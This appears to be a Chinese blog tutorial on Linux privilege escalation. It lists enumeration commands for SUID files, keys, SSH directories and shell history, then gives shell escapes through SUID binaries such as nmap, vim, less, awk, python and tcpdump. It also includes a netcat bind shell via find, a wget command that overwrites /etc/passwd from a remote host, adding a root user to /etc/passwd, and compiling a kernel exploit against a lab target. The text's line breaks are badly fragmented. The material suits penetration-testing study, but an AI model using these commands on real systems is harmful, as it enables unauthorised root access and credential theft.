![cover](https://img-blog.csdnimg.cn/ddd2b45f6a1e4080bfcf675a72a4694e.png)
权限提升-Linux脏牛内核漏洞&SUID&信息搜集
目录一、信息搜集二、Linux 提权 SUID【漏洞成因】:【查看suid和guid文件】:【其他命令】:【常用提权方式】:namp:findvi/vimlessmoremv /cpnanoawkmanwgetpythonperltcpdump三、内核漏洞提权演示【靶标】【工具】【提权测试】一、信息搜集提权自动化脚本利用两个信息收集:LinEnum,linuxpricchecker两个漏洞..
·
目录
一、信息搜集
提权自动化脚本利用
两个信息收集:LinEnum,linuxpricchecker
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2
二、Linux 提权 SUID
【漏洞成因】:
chmod u+s
给予了
suid u-s
删除了
suid
使程序在运行中受到了
suid root
权限的执行过程导致
提权过程:探针是否有
SUID(
手工或脚本
)-
特定
SUID
利用
-
利用吃瓜
-GG
【可用于产生shell的程序】:
nmap |
vim |
less |
more |
nano |
cp |
mv |
find |
【查看suid和guid文件】:
Find SUID
find / -perm -u=s -type f 2>/dev/null
Find GUID
find / -perm -g=s -type f 2>/dev/null
【其他命令】:
find / -perm -4000 -type f 2>/dev/null
|
查找SUID文件
|
find / -uid 0 -perm -4000 -type f 2>/dev/null
|
查找root拥有的
SUID文件
|
find / -perm -2000 -type f 2>/dev/null
|
查 找 SGID 文 件
(粘性位)
|
find / ! -path "*/proc/*" -perm -2 -type f -print
2>/dev/null
|
查找世界可写文
件,不包括proc
文件
|
find / -type f '(' -name *.cert -or -name *.crt -or -name
*.pem -or -name *.ca -or -name *.p12 -or -name *.cer
-name *.der ')' '(' '(' -user support -perm -u=r ')' -or '('
-group support -perm -g=r ')' -or '(' -perm -o=r ')' ')'
2> /dev/null-or -name *.cer -name *.der ')' 2>
/dev/null
|
查找您可以阅读
的密钥或证书
|
find /home –name *.rhosts -print 2>/dev/null
|
查找rhost配置文
件
|
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null
; -exec cat {} 2>/dev/null ;
|
查
找
hosts.equiv,列
出权限并管理文
件内容
|
cat ~/.bash_history
|
显示当前用户历
史记录
|
ls -la ~/.*_history
|
向当前用户分发
各种历史文件
|
ls -la ~/.ssh/
|
检查当前用户的
ssh文件
|
find /etc -maxdepth 1 -name '*.conf' -type f 要么 ls -la
/etc/*.conf
|
在/ etc中列出配
置文件(深度1,
在第一个命令中
修 改 maxdepth
参数以对其进行
更改)
|
lsof | grep '/home/\|/etc/\|/opt/'
|
显示可能有趣的
打开文件
|
【常用提权方式】:
namp:
find / -perm -u = s -type f 2> / dev / null –查找设置了SUID位的可执行文件
ls -la / usr / local / bin / nmap –让我们确认nmap是否设置了SUID位。
Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫
描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。
但是,nmap(
2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交
互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特
权运行,我们可以通过其交互模式访问'root'shell。
nmap –interactive –运行nmap交互模式
!sh –我们可以从nmap shell转到系统shell
msf中的模块为:
1
exploit/unix/local/setuid_nmap
find
1
touch test
nc反弹shell:
find test -exec netcat -lvp
5555
-e /bin/sh \;
vi/vim
Vim
的主要用途是用作文本编辑器。 但是,如果以
SUID
运行,它将继承
root
用户的权
限,因此可以读取系统上的所有文件。
打开vim,按下ESC
:set shell=
/bin/
sh
:shell
或者
sudo vim -c
'!sh'
less
程序
Less
也可以执行提权后的
shell
。同样的方法也适用于其他许多命令。
1
less /etc/passwd
2
3
!
/bin/
sh1
more
1
more /home/pelle/myfile
2
3
!
/bin/
bash
mv /cp
覆盖
/etc/shadow
或
/etc/passwd
1
[zabbix@localhost ~]$ cat /etc/passwd >passwd
2
[zabbix@localhost ~]$ openssl passwd -
1
-salt hack hack123
3
$1$hack$WTn0dk2QjNeKfl.DHOUue0
4
[zabbix@localhost ~]$ echo
'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/
5
[zabbix@localhost ~]$ mv passwd /etc/passwd
6
[zabbix@localhost ~]$ su - hack
7
Password:
8
[root@
361
way ~]
# id
9
uid=
0
(hack) gid=
0
(root) groups=
0
(root)
10
[root@
361
way ~]
# cat /etc/passwd|tail -1
11
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:
0
:
0
::
/root/
:
/bin/
bash
nano
1
nano /etc/passwd
awk
1
awk
'BEGIN {system("/bin/sh")}'
man
1
man passwd
2
!
/bin/
bash
wget
1
wget http:
//192.168.56.1:8080/passwd -O /etc/passwd
python
python -c
"import os;os.system('/bin/bash')"
perl
1
exec
"/bin/bash"
;
tcpdump
1
echo $
'id\ncat /etc/shadow'
>
/tmp/
.test
2
chmod +x /tmp/.test
3
sudo tcpdump -ln -i eth0 -w /dev/
null
-W
1
-G
1
-z /tmp/.test -Z root
三、内核漏洞提权演示
【靶标】
https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe
【工具】
linux-exploit-suggester
【提权测试】
上传探针脚本到tmp目录下
![](https://img-blog.csdnimg.cn/d053895ac38e427faaa029462694e570.png)
chmod +x 添加执行权限,扫出对应的漏洞
![](https://img-blog.csdnimg.cn/1511256a16314ac5bb8a6bb512b1aed3.png)
下载exp 上传
编译 EXP-给权限执行
gcc 45010.c -o 45010
chmod +x 45010
./45010
![](https://img-blog.csdnimg.cn/ed8c2c07df6f476ba0d37fb61250f924.png)
更多推荐
所有评论(0)